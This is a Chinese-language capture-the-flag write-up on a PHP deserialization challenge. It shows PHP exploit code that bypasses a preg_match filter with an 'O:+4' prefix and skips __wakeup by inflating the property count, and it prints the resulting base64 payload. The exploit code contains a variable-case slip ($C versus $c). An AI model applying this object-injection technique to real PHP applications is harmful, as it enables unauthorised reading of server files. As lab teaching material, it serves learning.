题目是一段php代码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
代码审计
发现需要绕过的地方在于
- preg_match(’/[oc]:\d+:/i’, $var)的绕过
- unserialize()的__wakeup()漏洞
我们分析一下一会儿代码的过程:
(就是我们传过去var变量后会发生什么)
首先var会被base64解码,然后会先进行正则表达式的匹配
'/[oc]:\d+:/i'
含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写
[ ] 是定义匹配的字符范围
[oc]是匹配o或c任意一个
[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。
补充:正则表达式中/i,/g,/ig,/gi,/m的区别和含义
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)
然后再进行__wakeup()执行,反序列化
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo('fl4g.php');
$b = serialize($a);
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$c = str_replace('O:4','O:+4',$b);//绕过preg_match
$c = str_replace(':1:',':2:',$c);//绕过wakeup
echo $c;
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
echo base64_encode($C);//base64编码
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
此处注意,第二次替换的时候一定不能省略两个冒号,否则提交不成功
下面是我的测试:
内容完全一样但是字符串比较却不同
得到flag